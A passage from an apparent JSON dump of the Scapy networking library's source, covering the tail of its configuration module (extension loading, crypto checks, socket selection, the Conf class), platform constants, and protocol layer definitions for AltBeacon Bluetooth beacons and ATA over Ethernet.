import provider\n        if self not in sys.meta_path:\n            sys.meta_path.append(self)\n\n    def find_spec(self, fullname, path, target=None):\n        if fullname in self.all_specs:\n            return self.all_specs[fullname].spec\n\n    def invalidate_caches(self):\n        pass\n\n    def _register_spec(self, spec):\n        # Register to known specs\n        self.all_specs[spec.fullname] = spec\n\n        # If default=True, inject it in the currently loaded modules\n        if spec.default:\n            loader = importlib.util.LazyLoader(spec.spec.loader)\n            spec.spec.loader = loader\n            module = importlib.util.module_from_spec(spec.spec)\n            sys.modules[spec.fullname] = module\n            loader.exec_module(module)\n\n    def load(self, extension: str):\n        \"\"\"\n        Load a scapy extension.\n\n        :param extension: the name of the extension, as installed.\n        \"\"\"\n        if extension in self._loaded:\n            return\n\n        try:\n            import importlib.metadata\n        except ImportError:\n            log_loading.warning(\n                \"'%s' not loaded. \"\n                \"Scapy extensions require at least Python 3.8+ !\" % extension\n            )\n            return\n\n        # Get extension distribution\n        try:\n            distr = importlib.metadata.distribution(extension)\n        except importlib.metadata.PackageNotFoundError:\n            log_loading.warning(\"The extension '%s' was not found !\" % extension)\n            return\n\n        # Check the classifiers\n        if (\n            distr.metadata.get('License-Expression', None) not in self.GPLV2_LICENCES\n            and distr.metadata.get('License', None) not in self.GPLV2_LICENCES\n        ):\n            log_loading.warning(\n                \"'%s' has no GPLv2 classifier therefore cannot be loaded.\" % extension\n            )\n            return\n\n        # Create the extension\n        ext = ScapyExt()\n\n        # Get the top-level declared \"import packages\"\n        # HACK: not available nicely in importlib :/\n        packages = distr.read_text(\"top_level.txt\").split()\n\n        for package in packages:\n            scapy_ext = importlib.import_module(package)\n\n            # We initialize the plugin by calling it's 'scapy_ext' function\n            try:\n                scapy_ext_func = scapy_ext.scapy_ext\n            except AttributeError:\n                log_loading.warning(\n                    \"'%s' does not look like a Scapy plugin !\" % extension\n                )\n                return\n            try:\n                scapy_ext_func(ext)\n            except Exception as ex:\n                log_loading.warning(\n                    \"'%s' failed during initialization with %s\" % (\n                        extension,\n                        ex\n                    )\n                )\n                return\n\n            # Register all the specs provided by this extension\n            for spec in ext.specs.values():\n                self._register_spec(spec)\n\n        # Add to the extension list\n        self.exts.append(ext)\n        self._loaded.append(extension)\n\n        # If there are bash autocompletions, add them\n        if ext.bash_completions:\n            from scapy.main import _add_bash_autocompletion\n\n            for name, script in ext.bash_completions.items():\n                _add_bash_autocompletion(name, script)\n\n    def loadall(self) -> None:\n        \"\"\"\n        Load all extensions registered in conf.\n        \"\"\"\n        for extension in conf.load_extensions:\n            self.load(extension)\n\n    def __repr__(self):\n        from scapy.utils import pretty_list\n        return pretty_list(\n            [\n                (x.name, x.version, [y.fullname for y in x.specs.values()])\n                for x in self.exts\n            ],\n            [(\"Name\", \"Version\", \"Specs\")],\n            sortBy=0,\n        )\n\n\ndef _version_checker(module, minver):\n    # type: (ModuleType, Tuple[int, ...]) -> bool\n    \"\"\"Checks that module has a higher version that minver.\n\n    params:\n     - module: a module to test\n     - minver: a tuple of versions\n    \"\"\"\n    # We could use LooseVersion, but distutils imports imp which is deprecated\n    version_regexp = r'[a-z]?((?:\\d|\\.)+\\d+)(?:\\.dev[0-9]+)?'\n    version_tags_r = re.match(\n        version_regexp,\n        getattr(module, \"__version__\", \"\")\n    )\n    if not version_tags_r:\n        return False\n    version_tags_i = version_tags_r.group(1).split(\".\")\n    version_tags = tuple(int(x) for x in version_tags_i)\n    return bool(version_tags >= minver)\n\n\ndef isCryptographyValid():\n    # type: () -> bool\n    \"\"\"\n    Check if the cryptography module >= 2.0.0 is present. This is the minimum\n    version for most usages in Scapy.\n    \"\"\"\n    # Check import\n    try:\n        import cryptography\n    except ImportError:\n        return False\n\n    # Check minimum version\n    return _version_checker(cryptography, (2, 0, 0))\n\n\ndef isCryptographyAdvanced():\n    # type: () -> bool\n    \"\"\"\n    Check if the cryptography module is present, and if it supports X25519,\n    ChaCha20Poly1305 and such.\n\n    Notes:\n    - cryptography >= 2.0 is required\n    - OpenSSL >= 1.1.0 is required\n    \"\"\"\n    try:\n        from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey  # noqa: E501\n        X25519PrivateKey.generate()\n    except Exception:\n        return False\n    else:\n        return True\n\n\ndef isCryptographyBackendCompatible() -> bool:\n    \"\"\"\n    Check if the cryptography backend is compatible\n    \"\"\"\n    # Check for LibreSSL\n    try:\n        from cryptography.hazmat.backends import default_backend\n        if \"LibreSSL\" in default_backend().openssl_version_text():\n            # BUG: LibreSSL - https://marc.info/?l=libressl&m=173846028619304&w=2\n            # It takes 5 whole minutes to import RFC3526's modp parameters. This is\n            # not okay.\n            return False\n        return True\n    except Exception:\n        return True\n\n\ndef isPyPy():\n    # type: () -> bool\n    \"\"\"Returns either scapy is running under PyPy or not\"\"\"\n    try:\n        import __pypy__  # noqa: F401\n        return True\n    except ImportError:\n        return False\n\n\ndef _prompt_changer(attr, val, old):\n    # type: (str, Any, Any) -> Any\n    \"\"\"Change the current prompt theme\"\"\"\n    Interceptor.set_from_hook(conf, attr, val)\n    try:\n        sys.ps1 = conf.color_theme.prompt(conf.prompt)\n    except Exception:\n        pass\n    try:\n        apply_ipython_style(\n            get_ipython()  # type: ignore\n        )\n    except NameError:\n        pass\n    return getattr(conf, attr, old)\n\n\ndef _set_conf_sockets():\n    # type: () -> None\n    \"\"\"Populate the conf.L2Socket and conf.L3Socket\n    according to the various use_* parameters\n    \"\"\"\n    if conf.use_bpf and not BSD:\n        Interceptor.set_from_hook(conf, \"use_bpf\", False)\n        raise ScapyInvalidPlatformException(\"BSD-like (OSX, *BSD...) only !\")\n    if not conf.use_pcap and SOLARIS:\n        Interceptor.set_from_hook(conf, \"use_pcap\", True)\n        raise ScapyInvalidPlatformException(\n            \"Scapy only supports libpcap on Solaris !\"\n        )\n    # we are already in an Interceptor hook, use Interceptor.set_from_hook\n    if conf.use_pcap:\n        try:\n            from scapy.arch.libpcap import L2pcapListenSocket, L2pcapSocket, \\\n                L3pcapSocket\n        except (OSError, ImportError):\n            log_loading.warning(\"No libpcap provider available ! pcap won't be used\")\n            Interceptor.set_from_hook(conf, \"use_pcap\", False)\n        else:\n            conf.L3socket = L3pcapSocket\n            conf.L3socket6 = functools.partial(\n                L3pcapSocket, filter=\"ip6\")\n            conf.L2socket = L2pcapSocket\n            conf.L2listen = L2pcapListenSocket\n    elif conf.use_bpf:\n        from scapy.arch.bpf.supersocket import L2bpfListenSocket, \\\n            L2bpfSocket, L3bpfSocket\n        conf.L3socket = L3bpfSocket\n        conf.L3socket6 = functools.partial(\n            L3bpfSocket, filter=\"ip6\")\n        conf.L2socket = L2bpfSocket\n        conf.L2listen = L2bpfListenSocket\n    elif LINUX:\n        from scapy.arch.linux import L3PacketSocket, L2Socket, L2ListenSocket\n        conf.L3socket = L3PacketSocket\n        conf.L3socket6 = cast(\n            \"Type[SuperSocket]\",\n            functools.partial(\n                L3PacketSocket,\n                filter=\"ip6\"\n            )\n        )\n        conf.L2socket = L2Socket\n        conf.L2listen = L2ListenSocket\n    elif WINDOWS:\n        from scapy.arch.windows import _NotAvailableSocket\n        from scapy.arch.windows.native import L3WinSocket, L3WinSocket6\n        conf.L3socket = L3WinSocket\n        conf.L3socket6 = L3WinSocket6\n        conf.L2socket = _NotAvailableSocket\n        conf.L2listen = _NotAvailableSocket\n    else:\n        from scapy.supersocket import L3RawSocket, L3RawSocket6\n        conf.L3socket = L3RawSocket\n        conf.L3socket6 = L3RawSocket6\n    # Reload the interfaces\n    conf.ifaces.reload()\n\n\ndef _socket_changer(attr, val, old):\n    # type: (str, bool, bool) -> Any\n    if not isinstance(val, bool):\n        raise TypeError(\"This argument should be a boolean\")\n    Interceptor.set_from_hook(conf, attr, val)\n    dependencies = {  # Things that will be turned off\n        \"use_pcap\": [\"use_bpf\"],\n        \"use_bpf\": [\"use_pcap\"],\n    }\n    restore = {k: getattr(conf, k) for k in dependencies}\n    del restore[attr]  # This is handled directly by _set_conf_sockets\n    if val:  # Only if True\n        for param in dependencies[attr]:\n            Interceptor.set_from_hook(conf, param, False)\n    try:\n        _set_conf_sockets()\n    except (ScapyInvalidPlatformException, ImportError) as e:\n        for key, value in restore.items():\n            Interceptor.set_from_hook(conf, key, value)\n        if isinstance(e, ScapyInvalidPlatformException):\n            raise\n    return getattr(conf, attr)\n\n\ndef _loglevel_changer(attr, val, old):\n    # type: (str, int, int) -> int\n    \"\"\"Handle a change of conf.logLevel\"\"\"\n    log_scapy.setLevel(val)\n    return val\n\n\ndef _iface_changer(attr, val, old):\n    # type: (str, Any, Any) -> 'scapy.interfaces.NetworkInterface'\n    \"\"\"Resolves the interface in conf.iface\"\"\"\n    if isinstance(val, str):\n        from scapy.interfaces import resolve_iface\n        iface = resolve_iface(val)\n        if old and iface.dummy:\n            warning(\n                \"This interface is not specified in any provider ! \"\n                \"See conf.ifaces output\"\n            )\n        return iface\n    return val\n\n\ndef _reset_tls_nss_keys(attr, val, old):\n    # type: (str, Any, Any) -> Any\n    \"\"\"Reset conf.tls_nss_keys when conf.tls_nss_filename changes\"\"\"\n    conf.tls_nss_keys = None\n    return val\n\n\nclass Conf(ConfClass):\n    \"\"\"\n    This object contains the configuration of Scapy.\n    \"\"\"\n    version: str = ReadOnlyAttribute(\"version\", VERSION)\n    session: str = \"\"  #: filename where the session will be saved\n    interactive = False\n    #: can be \"ipython\", \"bpython\", \"ptpython\", \"ptipython\", \"python\" or \"auto\".\n    #: Default: Auto\n    interactive_shell = \"auto\"\n    #: Configuration for \"ipython\" to use jedi (disabled by default)\n    ipython_use_jedi = False\n    #: if 1, prevents any unwanted packet to go out (ARP, DNS, ...)\n    stealth = \"not implemented\"\n    #: selects the default output interface for srp() and sendp().\n    iface = Interceptor(\"iface\", None, _iface_changer)  # type: 'scapy.interfaces.NetworkInterface'  # noqa: E501\n    layers: LayersList = LayersList()\n    commands = CommandsList()  # type: CommandsList\n    #: Codec used by default for ASN1 objects\n    ASN1_default_codec = None  # type: 'scapy.asn1.asn1.ASN1Codec'\n    #: Default size for ASN1 objects\n    ASN1_default_long_size = 0\n    #: choose the AS resolver class to use\n    AS_resolver = None  # type: scapy.as_resolvers.AS_resolver\n    dot15d4_protocol = None  # Used in dot15d4.py\n    logLevel: int = Interceptor(\"logLevel\", log_scapy.level, _loglevel_changer)\n    #: if 0, doesn't check that IPID matches between IP sent and\n    #: ICMP IP citation received\n    #: if 1, checks that they either are equal or byte swapped\n    #: equals (bug in some IP stacks)\n    #: if 2, strictly checks that they are equals\n    checkIPID = False\n    #: if 1, checks IP src in IP and ICMP IP citation match\n    #: (bug in some NAT stacks)\n    checkIPsrc = True\n    checkIPaddr = True\n    #: if True, checks that IP-in-IP layers match. If False, do\n    #: not check IP layers that encapsulates another IP layer\n    checkIPinIP = True\n    #: if 1, also check that TCP seq and ack match the\n    #: ones in ICMP citation\n    check_TCPerror_seqack = False\n    verb = 2  #: level of verbosity, from 0 (almost mute) to 3 (verbose)\n    prompt: str = Interceptor(\"prompt\", \">>> \", _prompt_changer)\n    #: default mode for the promiscuous mode of a socket (to get answers if you\n    #: spoof on a lan)\n    sniff_promisc = True  # type: bool\n    raw_layer = None  # type: Type[Packet]\n    raw_summary = False  # type: Union[bool, Callable[[bytes], Any]]\n    padding_layer = None  # type: Type[Packet]\n    default_l2 = None  # type: Type[Packet]\n    l2types: Num2Layer = Num2Layer()\n    l3types: Num2Layer = Num2Layer()\n    L3socket = None  # type: Type[scapy.supersocket.SuperSocket]\n    L3socket6 = None  # type: Type[scapy.supersocket.SuperSocket]\n    L2socket = None  # type: Type[scapy.supersocket.SuperSocket]\n    L2listen = None  # type: Type[scapy.supersocket.SuperSocket]\n    BTsocket = None  # type: Type[scapy.supersocket.SuperSocket]\n    min_pkt_size = 60\n    #: holds MIB direct access dictionary\n    mib = None  # type: 'scapy.asn1.mib.MIBDict'\n    bufsize = 2**16\n    #: history file\n    histfile: str = os.getenv(\n        'SCAPY_HISTFILE',\n        os.path.join(\n            os.path.expanduser(\"~\"),\n            \".config\", \"scapy\", \"history\"\n        )\n    )\n    #: includes padding in disassembled packets\n    padding = 1\n    #: BPF filter for packets to ignore\n    except_filter = \"\"\n    #: bpf filter added to every sniffing socket to exclude traffic\n    #: from analysis\n    filter = \"\"\n    #: when 1, store received packet that are not matched into `debug.recv`\n    debug_match = False\n    #: When 1, print some TLS session secrets when they are computed, and\n    #: warn about the session recognition.\n    debug_tls = False\n    wepkey = \"\"\n    #: holds the Scapy interface list and manager\n    ifaces = None  # type: 'scapy.interfaces.NetworkInterfaceDict'\n    #: holds the cache of interfaces loaded from Libpcap\n    cache_pcapiflist = {}  # type: Dict[str, Tuple[str, List[str], Any, str, int]]\n    # `neighbor` will be filed by scapy.layers.l2\n    neighbor = None  # type: 'scapy.layers.l2.Neighbor'\n    #: holds the name servers IP/hosts used for custom DNS resolution\n    nameservers = None  # type: str\n    #: automatically load IPv4 routes on startup. Disable this if your\n    #: routing table is too big.\n    route_autoload = True\n    #: automatically load IPv6 routes on startup. Disable this if your\n    #: routing table is too big.\n    route6_autoload = True\n    #: holds the Scapy IPv4 routing table and provides methods to\n    #: manipulate it\n    route = None  # type: 'scapy.route.Route'\n    # `route` will be filed by route.py\n    #: holds the Scapy IPv6 routing table and provides methods to\n    #: manipulate it\n    route6 = None  # type: 'scapy.route6.Route6'\n    manufdb = None  # type: 'scapy.data.ManufDA'\n    ethertypes = None  # type: 'scapy.data.EtherDA'\n    protocols = None  # type: 'scapy.dadict.DADict[int, str]'\n    services_udp = None  # type: 'scapy.dadict.DADict[int, str]'\n    services_tcp = None  # type: 'scapy.dadict.DADict[int, str]'\n    services_sctp = None  # type: 'scapy.dadict.DADict[int, str]'\n    # 'route6' will be filed by route6.py\n    teredoPrefix = \"\"  # type: str\n    teredoServerPort = None  # type: int\n    auto_fragment = True\n    #: raise exception when a packet dissector raises an exception\n    debug_dissector = False\n    color_theme: ColorTheme = Interceptor(\"color_theme\", NoTheme(), _prompt_changer)\n    #: how much time between warnings from the same place\n    warning_threshold = 5\n    prog: ProgPath = ProgPath()\n    #: holds list of fields for which resolution should be done\n    resolve: Resolve = Resolve()\n    #: holds list of enum fields for which conversion to string\n    #: should NOT be done\n    noenum: Resolve = Resolve()\n    emph: Emphasize = Emphasize()\n    #: read only attribute to show if PyPy is in use\n    use_pypy: bool = ReadOnlyAttribute(\"use_pypy\", isPyPy())\n    #: use libpcap integration or not. Changing this value will update\n    #: the conf.L[2/3] sockets\n    use_pcap: bool = Interceptor(\n        \"use_pcap\",\n        os.getenv(\"SCAPY_USE_LIBPCAP\", \"\").lower().startswith(\"y\"),\n        _socket_changer\n    )\n    use_bpf: bool = Interceptor(\"use_bpf\", False, _socket_changer)\n    use_npcap = False\n    ipv6_enabled: bool = socket.has_ipv6\n    stats_classic_protocols = []  # type: List[Type[Packet]]\n    stats_dot11_protocols = []  # type: List[Type[Packet]]\n    temp_files = []  # type: List[str]\n    #: netcache holds time-based caches for net operations\n    netcache: NetCache = NetCache()\n    geoip_city = None\n    #: Scapy extensions that are loaded automatically on load\n    load_extensions: List[str] = []\n    # can, tls, http and a few others are not loaded by default\n    load_layers: List[str] = [\n        'bluetooth',\n        'bluetooth4LE',\n        'dcerpc',\n        'dhcp',\n        'dhcp6',\n        'dns',\n        'dot11',\n        'dot15d4',\n        'eap',\n        'gprs',\n        'gssapi',\n        'hsrp',\n        'inet',\n        'inet6',\n        'ipsec',\n        'ir',\n        'isakmp',\n        'kerberos',\n        'l2',\n        'l2tp',\n        'ldap',\n        'llmnr',\n        'lltd',\n        'mgcp',\n        'msrpce.rpcclient',\n        'msrpce.rpcserver',\n        'mobileip',\n        'netbios',\n        'netflow',\n        'ntlm',\n        'ntp',\n        'ppi',\n        'ppp',\n        'pptp',\n        'radius',\n        'rip',\n        'rtp',\n        'sctp',\n        'sixlowpan',\n        'skinny',\n        'smb',\n        'smb2',\n        'smbclient',\n        'smbserver',\n        'snmp',\n        'spnego',\n        'tftp',\n        'vrrp',\n        'vxlan',\n        'x509',\n        'zigbee'\n    ]\n    #: a dict which can be used by contrib layers to store local\n    #: configuration\n    contribs = dict()  # type: Dict[str, Any]\n    exts: ExtsManager = ExtsManager()\n    crypto_valid = isCryptographyValid()\n    crypto_valid_advanced = isCryptographyAdvanced()\n    #: controls whether or not to display the fancy banner\n    fancy_banner = True\n    #: controls whether tables (conf.iface, conf.route...) should be cropped\n    #: to fit the terminal\n    auto_crop_tables = True\n    #: how often to check for new packets.\n    #: Defaults to 0.05s.\n    recv_poll_rate = 0.05\n    #: When True, raise exception if no dst MAC found otherwise broadcast.\n    #: Default is False.\n    raise_no_dst_mac = False\n    loopback_name: str = \"lo\" if LINUX else \"lo0\"\n    nmap_base = \"\"  # type: str\n    nmap_kdb = None  # type: Optional[NmapKnowledgeBase]\n    #: a safety mechanism: the maximum amount of items included in a PacketListField\n    #: or a FieldListField\n    max_list_count = 100\n    #: When the TLS module is loaded (not by default), the following turns on sessions\n    tls_session_enable = False\n    #: Filename containing NSS Keys Log\n    tls_nss_filename = Interceptor(\n        \"tls_nss_filename\",\n        None,\n        _reset_tls_nss_keys\n    )\n    #: Dictionary containing parsed NSS Keys\n    tls_nss_keys: Dict[str, bytes] = None\n    #: Whether to use NDR64 by default instead of NDR 32\n    ndr64: bool = True\n    #: When TCPSession is used, parse DCE/RPC sessions automatically.\n    #: This should be used for passive sniffing.\n    dcerpc_session_enable = False\n    #: If a capture is missing the first DCE/RPC binding message, we might incorrectly\n    #: assume that header signing isn't used. This forces it on.\n    dcerpc_force_header_signing = False\n    #: Windows SSPs for sniffing. This is used with\n    #: dcerpc_session_enable\n    winssps_passive = []\n    #: Disables auto-stripping of StrFixedLenField for debugging purposes\n    debug_strfixedlenfield = False\n\n    def __getattribute__(self, attr):\n        # type: (str) -> Any\n        # Those are loaded on runtime to avoid import loops\n        if attr == \"manufdb\":\n            from scapy.data import MANUFDB\n            return MANUFDB\n        if attr == \"ethertypes\":\n            from scapy.data import ETHER_TYPES\n            return ETHER_TYPES\n        if attr == \"protocols\":\n            from scapy.data import IP_PROTOS\n            return IP_PROTOS\n        if attr == \"services_udp\":\n            from scapy.data import UDP_SERVICES\n            return UDP_SERVICES\n        if attr == \"services_tcp\":\n            from scapy.data import TCP_SERVICES\n            return TCP_SERVICES\n        if attr == \"services_sctp\":\n            from scapy.data import SCTP_SERVICES\n            return SCTP_SERVICES\n        if attr == \"iface6\":\n            warnings.warn(\n                \"conf.iface6 is deprecated in favor of conf.iface\",\n                DeprecationWarning\n            )\n            attr = \"iface\"\n        return object.__getattribute__(self, attr)\n\n\nif not Conf.ipv6_enabled:\n    log_scapy.warning(\"IPv6 support disabled in Python. Cannot load Scapy IPv6 layers.\")  # noqa: E501\n    for m in [\"inet6\", \"dhcp6\", \"sixlowpan\"]:\n        if m in Conf.load_layers:\n            Conf.load_layers.remove(m)\n\nconf = Conf()  # type: Conf\n\n\nif not isCryptographyBackendCompatible():\n    conf.crypto_valid = False\n    conf.crypto_valid_advanced = False\n    log_scapy.error(\n        \"Scapy does not support LibreSSL as a backend to cryptography ! \"\n        \"See https://cryptography.io/en/latest/installation/#static-wheels \"\n        \"for instructions on how to recompile cryptography with another \"\n        \"backend.\"\n    )\n\n\ndef crypto_validator(func):\n    # type: (DecoratorCallable) -> DecoratorCallable\n    \"\"\"\n    This a decorator to be used for any method relying on the cryptography library.  # noqa: E501\n    Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'.\n    \"\"\"\n    def func_in(*args, **kwargs):\n        # type: (*Any, **Any) -> Any\n        if not conf.crypto_valid:\n            raise ImportError(\"Cannot execute crypto-related method! \"\n                              \"Please install python-cryptography v2.0 or later.\")  # noqa: E501\n        return func(*args, **kwargs)\n    return func_in\n\n\ndef scapy_delete_temp_files():\n    # type: () -> None\n    for f in conf.temp_files:\n        try:\n            os.unlink(f)\n        except Exception:\n            pass\n    del conf.temp_files[:]\n\n\natexit.register(scapy_delete_temp_files)\n"
  },
  {
    "path": "scapy/consts.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nThis file contains constants\n\"\"\"\n\nfrom sys import byteorder, platform, maxsize\nimport platform as platform_lib\n\n__all__ = [\n    \"LINUX\",\n    \"OPENBSD\",\n    \"FREEBSD\",\n    \"NETBSD\",\n    \"DARWIN\",\n    \"SOLARIS\",\n    \"WINDOWS\",\n    \"WINDOWS_XP\",\n    \"BSD\",\n    \"IS_64BITS\",\n    \"BIG_ENDIAN\",\n]\n\nLINUX = platform.startswith(\"linux\")\nOPENBSD = platform.startswith(\"openbsd\")\nFREEBSD = \"freebsd\" in platform\nNETBSD = platform.startswith(\"netbsd\")\nDARWIN = platform.startswith(\"darwin\")\nSOLARIS = platform.startswith(\"sunos\")\nWINDOWS = platform.startswith(\"win32\")\nWINDOWS_XP = platform_lib.release() == \"XP\"\nBSD = DARWIN or FREEBSD or OPENBSD or NETBSD\n# See https://docs.python.org/3/library/platform.html#cross-platform\nIS_64BITS = maxsize > 2**32\nBIG_ENDIAN = byteorder == 'big'\n# LOOPBACK_NAME moved to conf.loopback_name\n"
  },
  {
    "path": "scapy/contrib/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPackage of contrib modules that have to be loaded explicitly.\n\"\"\"\n\n# Make sure config is loaded\nimport scapy.config  # noqa: F401\n"
  },
  {
    "path": "scapy/contrib/altbeacon.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n#\n# scapy.contrib.description = AltBeacon BLE proximity beacon\n# scapy.contrib.status = loads\n\"\"\"\nscapy.contrib.altbeacon - AltBeacon Bluetooth LE proximity beacons.\n\nThe AltBeacon specification can be found at: https://github.com/AltBeacon/spec\n\"\"\"\n\nfrom scapy.fields import (\n    ByteField,\n    MayEnd,\n    ShortField,\n    SignedByteField,\n    StrFixedLenField,\n)\nfrom scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \\\n    UUIDField, LowEnergyBeaconHelper\nfrom scapy.packet import Packet\n\n\n# When building beacon frames, one should use their own manufacturer ID.\n#\n# However, most software (including the AltBeacon SDK) requires explicitly\n# registering particular manufacturer IDs to listen to, and the only ID used is\n# that of Radius Networks (the developer of the specification).\n#\n# To maximise compatibility, Scapy's implementation of\n# LowEnergyBeaconHelper.build_eir (for constructing frames) uses Radius\n# Networks' manufacturer ID.\n#\n# Scapy's implementation of AltBeacon **does not** require a specific\n# manufacturer ID to detect AltBeacons - it uses\n# EIR_Manufacturer_Specific_Data.register_magic_payload.\nRADIUS_NETWORKS_MFG = 0x0118\n\n\nclass AltBeacon(Packet, LowEnergyBeaconHelper):\n    \"\"\"\n    AltBeacon broadcast frame type.\n\n    https://github.com/AltBeacon/spec\n    \"\"\"\n    name = \"AltBeacon\"\n    magic = b\"\\xBE\\xAC\"\n    fields_desc = [\n        StrFixedLenField(\"header\", magic, len(magic)),\n\n        # The spec says this is 20 bytes, with >=16 bytes being an\n        # organisational unit-specific identifier. However, the Android library\n        # treats this as UUID + uint16 + uint16.\n        UUIDField(\"id1\", None),\n\n        # Local identifier\n        ShortField(\"id2\", None),\n        ShortField(\"id3\", None),\n\n        MayEnd(SignedByteField(\"tx_power\", None)),\n        ByteField(\"mfg_reserved\", None),\n    ]\n\n    @classmethod\n    def magic_check(cls, payload):\n        \"\"\"\n        Checks if the given payload is for us (starts with our magic string).\n        \"\"\"\n        return payload.startswith(cls.magic)\n\n    def build_eir(self):\n        \"\"\"Builds a list of EIR messages to wrap this frame.\"\"\"\n\n        # Note: Company ID is not required by spec, but most tools only look\n        # for manufacturer-specific data with Radius Networks' manufacturer ID.\n        return LowEnergyBeaconHelper.base_eir + [\n            EIR_Hdr() / EIR_Manufacturer_Specific_Data(\n                company_id=RADIUS_NETWORKS_MFG) / self\n        ]\n\n\nEIR_Manufacturer_Specific_Data.register_magic_payload(AltBeacon)\n"
  },
  {
    "path": "scapy/contrib/aoe.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2018 antoine.torre <torreantoine1@gmail.com>\n\n\n# scapy.contrib.description = ATA Over Internet\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import FlagsField, XByteField, ByteField, XShortField, \\\n    ShortField, StrLenField, BitField, BitEnumField, ByteEnumField, \\\n    FieldLenField, PacketListField, FieldListField, MACField, PacketField, \\\n    ConditionalField, XIntField\nfrom scapy.layers.l2 import Ether\nfrom scapy.data import ETHER_ANY\n\n\nclass IssueATACommand(Packet):\n    name = \"Issue ATA Command\"\n    fields_desc = [FlagsField(\"flags\", 0, 8, \"zezdzzaw\"),\n                   XByteField(\"err_feature\", 0),\n                   ByteField(\"sector_count\", 1),\n                   XByteField(\"cmd_status\", 0xec),\n                   XByteField(\"lba0\", 0),\n                   XByteField(\"lba1\", 0),\n                   XByteField(\"lba2\", 0),\n                   XByteField(\"lba3\", 0),\n                   XByteField(\"lba4\", 0),\n                   XByteField(\"lba5\", 0),\n                   XShortField(\"reserved\", 0),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda x: x.sector_count * 512)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass QueryConfigInformation(Packet):\n    name = \"Query Config Information\"\n    fields_desc = [ShortField(\"buffer_count\", 0),\n                   ShortField(\"firmware\", 0),\n                   ByteField(\"sector_count\", 0),\n                   BitField(\"aoe\", 0, 4),\n                   BitEnumField(\"ccmd\", 0, 4, {0: \"Read config string\",\n                                               1: \"Test config string\",\n                                               2: \"Test config string prefix\",\n                                               3: \"Set config string\",\n                                               4: \"Force set config string\"}),\n                   FieldLenField(\"config_length\", None, length_of=\"config\"),\n                   StrLenField(\"config\", None,\n                               length_from=lambda x: x.config_length)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass Directive(Packet):\n    name = \"Directive\"\n    fields_desc = [ByteField(\"reserved\", 0),\n                   ByteEnumField(\"dcmd\", 0,\n                                 {0: \"No directive\",\n                                  1: \"Add mac address to mask list\",\n                                  2: \"Delete mac address from mask list\"}),\n                   MACField(\"mac_addr\", ETHER_ANY)]\n\n\nclass MacMaskList(Packet):\n    name = \"Mac Mask List\"\n    fields_desc = [ByteField(\"reserved\", 0),\n                   ByteEnumField(\"mcmd\", 0, {0: \"Read Mac Mask List\",\n                                             1: \"Edit Mac Mask List\"}),\n                   ByteEnumField(\"merror\", 0, {0: \"\",\n                                               1: \"Unspecified error\",\n                                               2: \"Bad dcmd directive\",\n                                               3: \"Mask List Full\"}),\n                   FieldLenField(\"dir_count\", None, count_of=\"directives\"),\n                   PacketListField(\"directives\", None, Directive,\n                                   count_from=lambda pkt: pkt.dir_count)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ReserveRelease(Packet):\n    name = \"Reserve / Release\"\n    fields_desc = [ByteEnumField(\"rcmd\", 0, {0: \"Read Reserve List\",\n                                             1: \"Set Reserve List\",\n                                             2: \"Force Set Reserve List\"}),\n                   FieldLenField(\"nb_mac\", None, count_of=\"mac_addrs\"),\n                   FieldListField(\"mac_addrs\", None, MACField(\"\", ETHER_ANY),\n                                  count_from=lambda pkt: pkt.nb_mac)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass AOE(Packet):\n    name = \"ATA over Ethernet\"\n    fields_desc = [BitField(\"version\", 1, 4),\n                   FlagsField(\"flags\", 0, 4, [\"Response\", \"Error\",\n                                              \"r1\", \"r2\"]),\n                   ByteEnumField(\"error\", 0, {1: \"Unrecognized command code\",\n                                              2: \"Bad argument parameter\",\n                                              3: \"Device unavailable\",\n                                              4: \"Config string present\",\n                                              5: \"Unsupported exception\",\n                                              6: \"Target is reserved\"}),\n                   XShortField(\"major\", 0xFFFF),\n                   XByteField(\"minor\", 0xFF),\n                   ByteEnumField(\"cmd\", 1, {0: \"Issue ATA Command\",\n                                            1: \"Query Config Information\",\n                                            2: \"Mac Mask List\",\n                                            3: \"Reserve / Release\"}),\n                   XIntField(\"tag\", 0),\n                   ConditionalField(PacketField(\"i_ata_cmd\", IssueATACommand(),\n                                                IssueATACommand),\n                                    lambda x: x.cmd == 0),\n                   ConditionalField(PacketField(\"q_conf_info\",\n                                                QueryConfigInformation(),\n                                                QueryConfigInformation),\n                                    lambda x: x.cmd == 1),\n                   ConditionalField(PacketField(\"mac_m_list\", MacMaskList(),\n                                                MacMaskList),\n                                    lambda x: x.cmd == 2),\n                   ConditionalField(PacketField(\"res_rel\", ReserveRelease(),\n                                                ReserveRelease),\n                                    lambda x: x.cmd == 3)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nbind_layers(Ether, AOE, type=0x88A2)\nbind_layers(AOE, IssueATACommand, cmd=0)\nbind_layers(AOE, QueryConfigInformation, cmd=1)\nbind_layers(AOE, MacMaskList, cmd=2)\nbind_layers(AOE, ReserveRelease, cmd=3)\n"
  },
  {
    "path": "scapy/contrib/automotive/__init__.py",
